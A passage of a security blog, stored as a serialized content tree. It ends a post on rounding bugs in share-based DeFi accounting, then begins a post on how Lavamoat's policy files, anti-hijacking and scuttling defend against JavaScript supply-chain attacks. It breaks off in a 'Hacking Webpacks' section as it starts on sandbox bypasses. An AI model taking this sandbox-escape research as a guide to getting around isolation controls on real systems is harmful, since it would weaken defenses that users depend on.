tokens\n",{"type":24,"tag":930,"props":49957,"children":49958},{"class":932,"line":1057},[49959,49964,49968],{"type":24,"tag":930,"props":49960,"children":49961},{"style":959},[49962],{"type":30,"value":49963},"} ",{"type":24,"tag":930,"props":49965,"children":49966},{"style":1079},[49967],{"type":30,"value":2317},{"type":24,"tag":930,"props":49969,"children":49970},{"style":959},[49971],{"type":30,"value":981},{"type":24,"tag":33,"props":49973,"children":49974},{},[49975,49977,49984],{"type":30,"value":49976},"Alternatively, ",{"type":24,"tag":37,"props":49978,"children":49981},{"href":49979,"rel":49980},"https://github.com/SynonymFinance/smart-contracts-public/blob/759c6afe45720e26d731f081dfc747787ad7ae20/evm/src/contracts/lendingHub/HubInterestUtilities.sol#L52-L53",[41],[49982],{"type":30,"value":49983},"storing the conversion rate separately",{"type":30,"value":49985}," can also suffice. A key factor is that depositing additional tokens or burning shares affects the conversion rate. If the conversion rate is hardcoded and updated only during interest accrual, there's nothing to manipulate.",{"type":24,"tag":920,"props":49987,"children":49989},{"className":922,"code":49988,"language":924,"meta":7,"style":7},"accrualIndices.borrowed = accrualIndices.borrowed * borrowInterestFactor / precision;\naccrualIndices.deposited = accrualIndices.deposited * depositInterestFactor / precision;\n",[49990],{"type":24,"tag":156,"props":49991,"children":49992},{"__ignoreMap":7},[49993,50028],{"type":24,"tag":930,"props":49994,"children":49995},{"class":932,"line":933},[49996,50001,50005,50010,50014,50019,50023],{"type":24,"tag":930,"props":49997,"children":49998},{"style":959},[49999],{"type":30,"value":50000},"accrualIndices.borrowed ",{"type":24,"tag":930,"props":50002,"children":50003},{"style":1158},[50004],{"type":30,"value":1161},{"type":24,"tag":930,"props":50006,"children":50007},{"style":959},[50008],{"type":30,"value":50009}," accrualIndices.borrowed ",{"type":24,"tag":930,"props":50011,"children":50012},{"style":1158},[50013],{"type":30,"value":1410},{"type":24,"tag":930,"props":50015,"children":50016},{"style":959},[50017],{"type":30,"value":50018}," borrowInterestFactor ",{"type":24,"tag":930,"props":50020,"children":50021},{"style":1158},[50022],{"type":30,"value":1471},{"type":24,"tag":930,"props":50024,"children":50025},{"style":959},[50026],{"type":30,"value":50027}," precision;\n",{"type":24,"tag":930,"props":50029,"children":50030},{"class":932,"line":984},[50031,50036,50040,50045,50049,50054,50058],{"type":24,"tag":930,"props":50032,"children":50033},{"style":959},[50034],{"type":30,"value":50035},"accrualIndices.deposited ",{"type":24,"tag":930,"props":50037,"children":50038},{"style":1158},[50039],{"type":30,"value":1161},{"type":24,"tag":930,"props":50041,"children":50042},{"style":959},[50043],{"type":30,"value":50044}," accrualIndices.deposited ",{"type":24,"tag":930,"props":50046,"children":50047},{"style":1158},[50048],{"type":30,"value":1410},{"type":24,"tag":930,"props":50050,"children":50051},{"style":959},[50052],{"type":30,"value":50053}," depositInterestFactor ",{"type":24,"tag":930,"props":50055,"children":50056},{"style":1158},[50057],{"type":30,"value":1471},{"type":24,"tag":930,"props":50059,"children":50060},{"style":959},[50061],{"type":30,"value":50027},{"type":24,"tag":33,"props":50063,"children":50064},{},[50065],{"type":30,"value":50066},"We also want to note some general takeaways:",{"type":24,"tag":33,"props":50068,"children":50069},{},[50070,50072,50077],{"type":30,"value":50071},"Invariant testing is overhyped, but is quite applicable here. Instead of attempting to reason about effects after a state change, ",{"type":24,"tag":6032,"props":50073,"children":50074},{},[50075],{"type":30,"value":50076},"apply the state changes and check the invariant",{"type":30,"value":436},{"type":24,"tag":33,"props":50079,"children":50080},{},[50081],{"type":30,"value":50082},"From a protocol design perspective, users are withdrawing shares, not tokens. This is an important distinction. Your accounting logic should reason in terms of shares when possible.",{"type":24,"tag":33,"props":50084,"children":50085},{},[50086],{"type":30,"value":50087},"And finally, correct rounding behavior should still be accounted for, even if it doesn't seem impactful.",{"type":24,"tag":68,"props":50089,"children":50090},{"id":5876},[50091],{"type":30,"value":5879},{"type":24,"tag":33,"props":50093,"children":50094},{},[50095],{"type":30,"value":50096},"Rounding forces protocol developers to think carefully about dust. It's not always enough to round against the user. While initially this seems like a novel, scary attack vector, much of the impact can be mitigated operationally.",{"type":24,"tag":33,"props":50098,"children":50099},{},[50100],{"type":30,"value":50101},"As a final exercise to the reader: what is the correct rounding behavior during liquidations?",{"type":24,"tag":5957,"props":50103,"children":50104},{},[50105],{"type":30,"value":5961},{"title":7,"searchDepth":984,"depth":984,"links":50107},[50108,50109,50110,50114,50115,50116],{"id":27,"depth":984,"text":31},{"id":49032,"depth":984,"text":49035},{"id":49151,"depth":984,"text":49154,"children":50111},[50112,50113],{"id":49162,"depth":993,"text":49165},{"id":49200,"depth":993,"text":49203},{"id":49756,"depth":984,"text":49759},{"id":49821,"depth":984,"text":49824},{"id":5876,"depth":984,"text":5879},"content:blog:2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs.md","blog/2024-01-18-rounding-bugs",{"_path":50121,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":50122,"description":50123,"author":50124,"image":50125,"date":50127,"isFeatured":16,"onBlogPage":16,"body":50128,"_type":5983,"_id":53607,"_source":5985,"_file":53608,"_stem":53609,"_extension":5988},"/blog/2024-06-10-supply-chain-attacks-a-new-era","Supply Chain Attacks: A New Era","Unpacking Lavamoat and how it fights supply chain attacks in Web3. We spill the beans on some sneaky bypasses, illustrating just how tricky it is to lock down JavaScript ecosystems.",[34293,34292],{"src":50126},"/posts/supply-chain-attacks-a-new-era/header.jpg","2024-06-10",{"type":21,"children":50129,"toc":53586},[50130,50134,50155,50160,50164,50169,50208,50214,50229,50247,50252,50257,50262,50275,50582,50608,50621,50626,50631,50645,50650,50663,50677,50908,50929,50964,50970,50975,50980,51194,51215,51221,51233,51323,51345,51381,51389,51407,51663,51689,51695,51709,51907,51926,52333,52346,52352,52371,52464,52469,52475,52488,52501,52587,52593,52605,52690,52702,52715,52721,52726,52740,53067,53072,53077,53083,53109,53164,53184,53237,53243,53248,53267,53278,53472,53478,53501,53507,53512,53525,53530,53535,53539,53544,53552,53582],{"type":24,"tag":68,"props":50131,"children":50132},{"id":22058},[50133],{"type":30,"value":22061},{"type":24,"tag":33,"props":50135,"children":50136},{},[50137,50144,50146,50153],{"type":24,"tag":37,"props":50138,"children":50141},{"href":50139,"rel":50140},"https://www.cloudflare.com/it-it/learning/security/what-is-a-supply-chain-attack/",[41],[50142],{"type":30,"value":50143},"Supply chain",{"type":30,"value":50145}," attacks are becoming ",{"type":24,"tag":37,"props":50147,"children":50150},{"href":50148,"rel":50149},"https://www.bleepingcomputer.com/news/security/ledger-dapp-supply-chain-attack-steals-600k-from-crypto-wallets/",[41],[50151],{"type":30,"value":50152},"increasingly popular in Web3",{"type":30,"value":50154},". In response, Lavamoat has emerged as a robust defense mechanism against supply chain attacks, offering sophisticated isolation and access control features. These help ensure that malicious dependencies cannot execute harmful code.",{"type":24,"tag":33,"props":50156,"children":50157},{},[50158],{"type":30,"value":50159},"In this article, we will explore how each component of Lavamoat works, and dive into the various bypasses we reported.",{"type":24,"tag":151,"props":50161,"children":50162},{"id":27},[50163],{"type":30,"value":31},{"type":24,"tag":33,"props":50165,"children":50166},{},[50167],{"type":30,"value":50168},"It is important to note that there are three different versions of LavaMoat:",{"type":24,"tag":478,"props":50170,"children":50171},{},[50172,50184,50196],{"type":24,"tag":100,"props":50173,"children":50174},{},[50175,50182],{"type":24,"tag":37,"props":50176,"children":50179},{"href":50177,"rel":50178},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/browserify",[41],[50180],{"type":30,"value":50181},"Lavamoat Browserify",{"type":30,"value":50183}," serves as a bundle packer. This helps organize and package JavaScript code for frontend deployment.",{"type":24,"tag":100,"props":50185,"children":50186},{},[50187,50194],{"type":24,"tag":37,"props":50188,"children":50191},{"href":50189,"rel":50190},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/node",[41],[50192],{"type":30,"value":50193},"NodeJS Lavamoat",{"type":30,"value":50195}," is a variant of Lavamoat tailored specifically for Node.js environments.",{"type":24,"tag":100,"props":50197,"children":50198},{},[50199,50206],{"type":24,"tag":37,"props":50200,"children":50203},{"href":50201,"rel":50202},"https://github.com/LavaMoat/LavaMoat/tree/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/allow-scripts",[41],[50204],{"type":30,"value":50205},"Lavamoat allow-scripts",{"type":30,"value":50207}," are used to prevent malicious code execution on lifecycle scripts.",{"type":24,"tag":151,"props":50209,"children":50211},{"id":50210},"lavamoats-security-features",[50212],{"type":30,"value":50213},"Lavamoat's Security Features",{"type":24,"tag":33,"props":50215,"children":50216},{},[50217,50219,50227],{"type":30,"value":50218},"The three most important features of Lavamoat",{"type":24,"tag":18577,"props":50220,"children":50221},{},[50222],{"type":24,"tag":37,"props":50223,"children":50225},{"href":32714,"ariaDescribedBy":50224,"dataFootnoteRef":7,"id":32716},[18584],[50226],{"type":30,"value":7129},{"type":30,"value":50228}," are:",{"type":24,"tag":96,"props":50230,"children":50231},{},[50232,50237,50242],{"type":24,"tag":100,"props":50233,"children":50234},{},[50235],{"type":30,"value":50236},"Policy Files",{"type":24,"tag":100,"props":50238,"children":50239},{},[50240],{"type":30,"value":50241},"NPM Anti Hijacking",{"type":24,"tag":100,"props":50243,"children":50244},{},[50245],{"type":30,"value":50246},"Scuttling",{"type":24,"tag":33,"props":50248,"children":50249},{},[50250],{"type":30,"value":50251},"Let's go over them one by one.",{"type":24,"tag":21995,"props":50253,"children":50255},{"id":50254},"policy-files",[50256],{"type":30,"value":50236},{"type":24,"tag":33,"props":50258,"children":50259},{},[50260],{"type":30,"value":50261},"Policy files are one important feature of Lavamoat, as they limit access to the potentially dangeorus platform API and Globals.",{"type":24,"tag":33,"props":50263,"children":50264},{},[50265,50267,50274],{"type":30,"value":50266},"For example, take the ",{"type":24,"tag":37,"props":50268,"children":50271},{"href":50269,"rel":50270},"https://github.com/MetaMask/snaps/blob/c5ddd897734f900f459c66a91f3334e76903825c/packages/snaps-execution-environments/lavamoat/browserify/iframe/policy.json#L77",[41],[50272],{"type":30,"value":50273},"Metamask Snap policy file",{"type":30,"value":476},{"type":24,"tag":920,"props":50276,"children":50278},{"className":34455,"code":50277,"language":34457,"meta":7,"style":7},"   \"@metamask/providers\": {\n      \"globals\": {\n        \"Event\": true,\n        \"addEventListener\": true,\n        \"chrome.runtime.connect\": true,\n        \"console\": true,\n        \"dispatchEvent\": true,\n        \"document.createElement\": true,\n        \"document.readyState\": true,\n        \"ethereum\": \"write\",\n        \"location.hostname\": true,\n        \"removeEventListener\": true,\n        \"web3\": true\n      },\n      \"packages\": {\n        \"@metamask/object-multiplex\": true,\n        \"@metamask/providers>@metamask/safe-event-emitter\": true\n",[50279],{"type":24,"tag":156,"props":50280,"children":50281},{"__ignoreMap":7},[50282,50294,50309,50329,50348,50368,50388,50408,50428,50448,50469,50489,50508,50524,50531,50546,50566],{"type":24,"tag":930,"props":50283,"children":50284},{"class":932,"line":933},[50285,50290],{"type":24,"tag":930,"props":50286,"children":50287},{"style":1270},[50288],{"type":30,"value":50289},"   \"@metamask/providers\"",{"type":24,"tag":930,"props":50291,"children":50292},{"style":959},[50293],{"type":30,"value":40110},{"type":24,"tag":930,"props":50295,"children":50296},{"class":932,"line":984},[50297,50301,50305],{"type":24,"tag":930,"props":50298,"children":50299},{"style":1270},[50300],{"type":30,"value":40118},{"type":24,"tag":930,"props":50302,"children":50303},{"style":1023},[50304],{"type":30,"value":476},{"type":24,"tag":930,"props":50306,"children":50307},{"style":959},[50308],{"type":30,"value":981},{"type":24,"tag":930,"props":50310,"children":50311},{"class":932,"line":993},[50312,50317,50321,50325],{"type":24,"tag":930,"props":50313,"children":50314},{"style":1270},[50315],{"type":30,"value":50316},"        \"Event\"",{"type":24,"tag":930,"props":50318,"children":50319},{"style":1023},[50320],{"type":30,"value":476},{"type":24,"tag":930,"props":50322,"children":50323},{"style":937},[50324],{"type":30,"value":15576},{"type":24,"tag":930,"props":50326,"children":50327},{"style":959},[50328],{"type":30,"value":2832},{"type":24,"tag":930,"props":50330,"children":50331},{"class":932,"line":1057},[50332,50336,50340,50344],{"type":24,"tag":930,"props":50333,"children":50334},{"style":1270},[50335],{"type":30,"value":40170},{"type":24,"tag":930,"props":50337,"children":50338},{"style":1023},[50339],{"type":30,"value":476},{"type":24,"tag":930,"props":50341,"children":50342},{"style":937},[50343],{"type":30,"value":15576},{"type":24,"tag":930,"props":50345,"children":50346},{"style":959},[50347],{"type":30,"value":2832},{"type":24,"tag":930,"props":50349,"children":50350},{"class":932,"line":1066},[50351,50356,50360,50364],{"type":24,"tag":930,"props":50352,"children":50353},{"style":1270},[50354],{"type":30,"value":50355},"        \"chrome.runtime.connect\"",{"type":24,"tag":930,"props":50357,"children":50358},{"style":1023},[50359],{"type":30,"value":476},{"type":24,"tag":930,"props":50361,"children":50362},{"style":937},[50363],{"type":30,"value":15576},{"type":24,"tag":930,"props":50365,"children":50366},{"style":959},[50367],{"type":30,"value":2832},{"type":24,"tag":930,"props":50369,"children":50370},{"class":932,"line":1075},[50371,50376,50380,50384],{"type":24,"tag":930,"props":50372,"children":50373},{"style":1270},[50374],{"type":30,"value":50375},"        \"console\"",{"type":24,"tag":930,"props":50377,"children":50378},{"style":1023},[50379],{"type":30,"value":476},{"type":24,"tag":930,"props":50381,"children":50382},{"style":937},[50383],{"type":30,"value":15576},{"type":24,"tag":930,"props":50385,"children":50386},{"style":959},[50387],{"type":30,"value":2832},{"type":24,"tag":930,"props":50389,"children":50390},{"class":932,"line":1122},[50391,50396,50400,50404],{"type":24,"tag":930,"props":50392,"children":50393},{"style":1270},[50394],{"type":30,"value":50395},"        \"dispatchEvent\"",{"type":24,"tag":930,"props":50397,"children":50398},{"style":1023},[50399],{"type":30,"value":476},{"type":24,"tag":930,"props":50401,"children":50402},{"style":937},[50403],{"type":30,"value":15576},{"type":24,"tag":930,"props":50405,"children":50406},{"style":959},[50407],{"type":30,"value":2832},{"type":24,"tag":930,"props":50409,"children":50410},{"class":932,"line":1131},[50411,50416,50420,50424],{"type":24,"tag":930,"props":50412,"children":50413},{"style":1270},[50414],{"type":30,"value":50415},"        \"document.createElement\"",{"type":24,"tag":930,"props":50417,"children":50418},{"style":1023},[50419],{"type":30,"value":476},{"type":24,"tag":930,"props":50421,"children":50422},{"style":937},[50423],{"type":30,"value":15576},{"type":24,"tag":930,"props":50425,"children":50426},{"style":959},[50427],{"type":30,"value":2832},{"type":24,"tag":930,"props":50429,"children":50430},{"class":932,"line":1144},[50431,50436,50440,50444],{"type":24,"tag":930,"props":50432,"children":50433},{"style":1270},[50434],{"type":30,"value":50435},"        \"document.readyState\"",{"type":24,"tag":930,"props":50437,"children":50438},{"style":1023},[50439],{"type":30,"value":476},{"type":24,"tag":930,"props":50441,"children":50442},{"style":937},[50443],{"type":30,"value":15576},{"type":24,"tag":930,"props":50445,"children":50446},{"style":959},[50447],{"type":30,"value":2832},{"type":24,"tag":930,"props":50449,"children":50450},{"class":932,"line":1169},[50451,50456,50460,50465],{"type":24,"tag":930,"props":50452,"children":50453},{"style":1270},[50454],{"type":30,"value":50455},"        \"ethereum\"",{"type":24,"tag":930,"props":50457,"children":50458},{"style":1023},[50459],{"type":30,"value":476},{"type":24,"tag":930,"props":50461,"children":50462},{"style":1270},[50463],{"type":30,"value":50464}," \"write\"",{"type":24,"tag":930,"props":50466,"children":50467},{"style":959},[50468],{"type":30,"value":2832},{"type":24,"tag":930,"props":50470,"children":50471},{"class":932,"line":1191},[50472,50477,50481,50485],{"type":24,"tag":930,"props":50473,"children":50474},{"style":1270},[50475],{"type":30,"value":50476},"        \"location.hostname\"",{"type":24,"tag":930,"props":50478,"children":50479},{"style":1023},[50480],{"type":30,"value":476},{"type":24,"tag":930,"props":50482,"children":50483},{"style":937},[50484],{"type":30,"value":15576},{"type":24,"tag":930,"props":50486,"children":50487},{"style":959},[50488],{"type":30,"value":2832},{"type":24,"tag":930,"props":50490,"children":50491},{"class":932,"line":1223},[50492,50496,50500,50504],{"type":24,"tag":930,"props":50493,"children":50494},{"style":1270},[50495],{"type":30,"value":40270},{"type":24,"tag":930,"props":50497,"children":50498},{"style":1023},[50499],{"type":30,"value":476},{"type":24,"tag":930,"props":50501,"children":50502},{"style":937},[50503],{"type":30,"value":15576},{"type":24,"tag":930,"props":50505,"children":50506},{"style":959},[50507],{"type":30,"value":2832},{"type":24,"tag":930,"props":50509,"children":50510},{"class":932,"line":1281},[50511,50516,50520],{"type":24,"tag":930,"props":50512,"children":50513},{"style":1270},[50514],{"type":30,"value":50515},"        \"web3\"",{"type":24,"tag":930,"props":50517,"children":50518},{"style":1023},[50519],{"type":30,"value":476},{"type":24,"tag":930,"props":50521,"children":50522},{"style":937},[50523],{"type":30,"value":49638},{"type":24,"tag":930,"props":50525,"children":50526},{"class":932,"line":1313},[50527],{"type":24,"tag":930,"props":50528,"children":50529},{"style":959},[50530],{"type":30,"value":40287},{"type":24,"tag":930,"props":50532,"children":50533},{"class":932,"line":1335},[50534,50538,50542],{"type":24,"tag":930,"props":50535,"children":50536},{"style":1270},[50537],{"type":30,"value":40295},{"type":24,"tag":930,"props":50539,"children":50540},{"style":1023},[50541],{"type":30,"value":476},{"type":24,"tag":930,"props":50543,"children":50544},{"style":959},[50545],{"type":30,"value":981},{"type":24,"tag":930,"props":50547,"children":50548},{"class":932,"line":1376},[50549,50554,50558,50562],{"type":24,"tag":930,"props":50550,"children":50551},{"style":1270},[50552],{"type":30,"value":50553},"        \"@metamask/object-multiplex\"",{"type":24,"tag":930,"props":50555,"children":50556},{"style":1023},[50557],{"type":30,"value":476},{"type":24,"tag":930,"props":50559,"children":50560},{"style":937},[50561],{"type":30,"value":15576},{"type":24,"tag":930,"props":50563,"children":50564},{"style":959},[50565],{"type":30,"value":2832},{"type":24,"tag":930,"props":50567,"children":50568},{"class":932,"line":1418},[50569,50574,50578],{"type":24,"tag":930,"props":50570,"children":50571},{"style":1270},[50572],{"type":30,"value":50573},"        \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":24,"tag":930,"props":50575,"children":50576},{"style":1023},[50577],{"type":30,"value":476},{"type":24,"tag":930,"props":50579,"children":50580},{"style":937},[50581],{"type":30,"value":49638},{"type":24,"tag":33,"props":50583,"children":50584},{},[50585,50586,50591,50593,50598,50600,50606],{"type":30,"value":259},{"type":24,"tag":156,"props":50587,"children":50589},{"className":50588},[],[50590],{"type":30,"value":40360},{"type":30,"value":50592}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":24,"tag":156,"props":50594,"children":50596},{"className":50595},[],[50597],{"type":30,"value":40368},{"type":30,"value":50599}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":24,"tag":156,"props":50601,"children":50603},{"className":50602},[],[50604],{"type":30,"value":50605},"@metamask/providers",{"type":30,"value":50607}," interacts with other packages.",{"type":24,"tag":33,"props":50609,"children":50610},{},[50611,50613,50619],{"type":30,"value":50612},"To enforce these policies, LavaMoat uses ",{"type":24,"tag":156,"props":50614,"children":50616},{"className":50615},[],[50617],{"type":30,"value":50618},"lavapack",{"type":30,"value":50620},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":24,"tag":21995,"props":50622,"children":50624},{"id":50623},"npm-anti-hijacking",[50625],{"type":30,"value":50241},{"type":24,"tag":33,"props":50627,"children":50628},{},[50629],{"type":30,"value":50630},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":24,"tag":33,"props":50632,"children":50633},{},[50634,50636,50643],{"type":30,"value":50635},"Instead, Lavamoat looks at how each package is connected by ",{"type":24,"tag":37,"props":50637,"children":50640},{"href":50638,"rel":50639},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[41],[50641],{"type":30,"value":50642},"walking the modules",{"type":30,"value":50644}," in a project's dependency tree, thus generating a unique name for each package.",{"type":24,"tag":21995,"props":50646,"children":50648},{"id":50647},"scuttling",[50649],{"type":30,"value":50246},{"type":24,"tag":33,"props":50651,"children":50652},{},[50653,50655,50661],{"type":30,"value":50654},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":24,"tag":156,"props":50656,"children":50658},{"className":50657},[],[50659],{"type":30,"value":50660},"GlobalThis",{"type":30,"value":50662}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":24,"tag":33,"props":50664,"children":50665},{},[50666,50668,50675],{"type":30,"value":50667},"For example, ",{"type":24,"tag":37,"props":50669,"children":50672},{"href":50670,"rel":50671},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[41],[50673],{"type":30,"value":50674},"here",{"type":30,"value":50676}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":24,"tag":920,"props":50678,"children":50680},{"className":34455,"code":50679,"language":34457,"meta":7,"style":7},"    if (scuttleOpts.enabled) {\n      if (!Array.isArray(scuttleOpts.exceptions)) {\n        throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n      }\n      scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n    }\n",[50681],{"type":24,"tag":156,"props":50682,"children":50683},{"__ignoreMap":7},[50684,50713,50763,50822,50829,50901],{"type":24,"tag":930,"props":50685,"children":50686},{"class":932,"line":933},[50687,50691,50695,50700,50704,50709],{"type":24,"tag":930,"props":50688,"children":50689},{"style":1079},[50690],{"type":30,"value":15386},{"type":24,"tag":930,"props":50692,"children":50693},{"style":959},[50694],{"type":30,"value":1087},{"type":24,"tag":930,"props":50696,"children":50697},{"style":1023},[50698],{"type":30,"value":50699},"scuttleOpts",{"type":24,"tag":930,"props":50701,"children":50702},{"style":959},[50703],{"type":30,"value":436},{"type":24,"tag":930,"props":50705,"children":50706},{"style":1023},[50707],{"type":30,"value":50708},"enabled",{"type":24,"tag":930,"props":50710,"children":50711},{"style":959},[50712],{"type":30,"value":1503},{"type":24,"tag":930,"props":50714,"children":50715},{"class":932,"line":984},[50716,50720,50724,50728,50733,50737,50742,50746,50750,50754,50759],{"type":24,"tag":930,"props":50717,"children":50718},{"style":1079},[50719],{"type":30,"value":42374},{"type":24,"tag":930,"props":50721,"children":50722},{"style":959},[50723],{"type":30,"value":1087},{"type":24,"tag":930,"props":50725,"children":50726},{"style":1158},[50727],{"type":30,"value":3299},{"type":24,"tag":930,"props":50729,"children":50730},{"style":1023},[50731],{"type":30,"value":50732},"Array",{"type":24,"tag":930,"props":50734,"children":50735},{"style":959},[50736],{"type":30,"value":436},{"type":24,"tag":930,"props":50738,"children":50739},{"style":1002},[50740],{"type":30,"value":50741},"isArray",{"type":24,"tag":930,"props":50743,"children":50744},{"style":959},[50745],{"type":30,"value":1010},{"type":24,"tag":930,"props":50747,"children":50748},{"style":1023},[50749],{"type":30,"value":50699},{"type":24,"tag":930,"props":50751,"children":50752},{"style":959},[50753],{"type":30,"value":436},{"type":24,"tag":930,"props":50755,"children":50756},{"style":1023},[50757],{"type":30,"value":50758},"exceptions",{"type":24,"tag":930,"props":50760,"children":50761},{"style":959},[50762],{"type":30,"value":4542},{"type":24,"tag":930,"props":50764,"children":50765},{"class":932,"line":993},[50766,50771,50775,50779,50783,50788,50792,50796,50801,50805,50809,50813,50818],{"type":24,"tag":930,"props":50767,"children":50768},{"style":1079},[50769],{"type":30,"value":50770},"        throw",{"type":24,"tag":930,"props":50772,"children":50773},{"style":937},[50774],{"type":30,"value":35023},{"type":24,"tag":930,"props":50776,"children":50777},{"style":1002},[50778],{"type":30,"value":43371},{"type":24,"tag":930,"props":50780,"children":50781},{"style":959},[50782],{"type":30,"value":1010},{"type":24,"tag":930,"props":50784,"children":50785},{"style":1270},[50786],{"type":30,"value":50787},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":24,"tag":930,"props":50789,"children":50790},{"style":937},[50791],{"type":30,"value":37197},{"type":24,"tag":930,"props":50793,"children":50794},{"style":937},[50795],{"type":30,"value":34495},{"type":24,"tag":930,"props":50797,"children":50798},{"style":1023},[50799],{"type":30,"value":50800}," scuttleOpts",{"type":24,"tag":930,"props":50802,"children":50803},{"style":1158},[50804],{"type":30,"value":436},{"type":24,"tag":930,"props":50806,"children":50807},{"style":1023},[50808],{"type":30,"value":50758},{"type":24,"tag":930,"props":50810,"children":50811},{"style":937},[50812],{"type":30,"value":37229},{"type":24,"tag":930,"props":50814,"children":50815},{"style":1270},[50816],{"type":30,"value":50817},"\"`",{"type":24,"tag":930,"props":50819,"children":50820},{"style":959},[50821],{"type":30,"value":1054},{"type":24,"tag":930,"props":50823,"children":50824},{"class":932,"line":1057},[50825],{"type":24,"tag":930,"props":50826,"children":50827},{"style":959},[50828],{"type":30,"value":15771},{"type":24,"tag":930,"props":50830,"children":50831},{"class":932,"line":1066},[50832,50837,50841,50846,50850,50855,50859,50864,50868,50873,50877,50881,50885,50889,50893,50897],{"type":24,"tag":930,"props":50833,"children":50834},{"style":1023},[50835],{"type":30,"value":50836},"      scuttleOpts",{"type":24,"tag":930,"props":50838,"children":50839},{"style":959},[50840],{"type":30,"value":436},{"type":24,"tag":930,"props":50842,"children":50843},{"style":1002},[50844],{"type":30,"value":50845},"scuttlerFunc",{"type":24,"tag":930,"props":50847,"children":50848},{"style":959},[50849],{"type":30,"value":1010},{"type":24,"tag":930,"props":50851,"children":50852},{"style":1023},[50853],{"type":30,"value":50854},"globalRef",{"type":24,"tag":930,"props":50856,"children":50857},{"style":959},[50858],{"type":30,"value":962},{"type":24,"tag":930,"props":50860,"children":50861},{"style":1023},[50862],{"type":30,"value":50863},"realm",{"type":24,"tag":930,"props":50865,"children":50866},{"style":937},[50867],{"type":30,"value":30845},{"type":24,"tag":930,"props":50869,"children":50870},{"style":1002},[50871],{"type":30,"value":50872}," performScuttleGlobalThis",{"type":24,"tag":930,"props":50874,"children":50875},{"style":959},[50876],{"type":30,"value":1010},{"type":24,"tag":930,"props":50878,"children":50879},{"style":1023},[50880],{"type":30,"value":50863},{"type":24,"tag":930,"props":50882,"children":50883},{"style":959},[50884],{"type":30,"value":962},{"type":24,"tag":930,"props":50886,"children":50887},{"style":1023},[50888],{"type":30,"value":50699},{"type":24,"tag":930,"props":50890,"children":50891},{"style":959},[50892],{"type":30,"value":436},{"type":24,"tag":930,"props":50894,"children":50895},{"style":1023},[50896],{"type":30,"value":50758},{"type":24,"tag":930,"props":50898,"children":50899},{"style":959},[50900],{"type":30,"value":22815},{"type":24,"tag":930,"props":50902,"children":50903},{"class":932,"line":1075},[50904],{"type":24,"tag":930,"props":50905,"children":50906},{"style":959},[50907],{"type":30,"value":1840},{"type":24,"tag":33,"props":50909,"children":50910},{},[50911,50913,50919,50921,50927],{"type":30,"value":50912},"Subsequently, the code defines a ",{"type":24,"tag":37,"props":50914,"children":50917},{"href":50915,"rel":50916},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[41],[50918],{"type":30,"value":34469},{"type":30,"value":50920}," called ",{"type":24,"tag":156,"props":50922,"children":50924},{"className":50923},[],[50925],{"type":30,"value":50926},"generateScuttleOpts",{"type":30,"value":50928}," that creates and returns an options object.",{"type":24,"tag":33,"props":50930,"children":50931},{},[50932,50934,50940,50941,50947,50949,50954,50956,50962],{"type":30,"value":50933},"Finally, the ",{"type":24,"tag":156,"props":50935,"children":50937},{"className":50936},[],[50938],{"type":30,"value":50939},"performScuttleGlobalThis",{"type":30,"value":510},{"type":24,"tag":37,"props":50942,"children":50945},{"href":50943,"rel":50944},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[41],[50946],{"type":30,"value":34469},{"type":30,"value":50948}," modifies the properties of the global object (",{"type":24,"tag":156,"props":50950,"children":50952},{"className":50951},[],[50953],{"type":30,"value":50854},{"type":30,"value":50955},"). It starts by creating an array ",{"type":24,"tag":156,"props":50957,"children":50959},{"className":50958},[],[50960],{"type":30,"value":50961},"props",{"type":30,"value":50963},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":24,"tag":68,"props":50965,"children":50967},{"id":50966},"hacking-webpacks",[50968],{"type":30,"value":50969},"Hacking Webpacks",{"type":24,"tag":33,"props":50971,"children":50972},{},[50973],{"type":30,"value":50974},"Now let's get to the fun stuff.",{"type":24,"tag":33,"props":50976,"children":50977},{},[50978],{"type":30,"value":50979},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":24,"tag":920,"props":50981,"children":50983},{"className":34455,"code":50982,"language":34457,"meta":7,"style":7},"  const filename = encodeURI(String(moduleData.file))\n  let moduleWrapperSource\n  if (bundleWithPrecompiledModules) {\n    moduleWrapperSource = `function(){\n      with (this.scopeTerminator) {\n        with (this.globalThis) {\n          return function() {\n            'use strict';\n            // source: ${filename}\n            return function (require, module, exports) {\n              __MODULE_CONTENT__\n            };\n          };\n        }\n      }\n    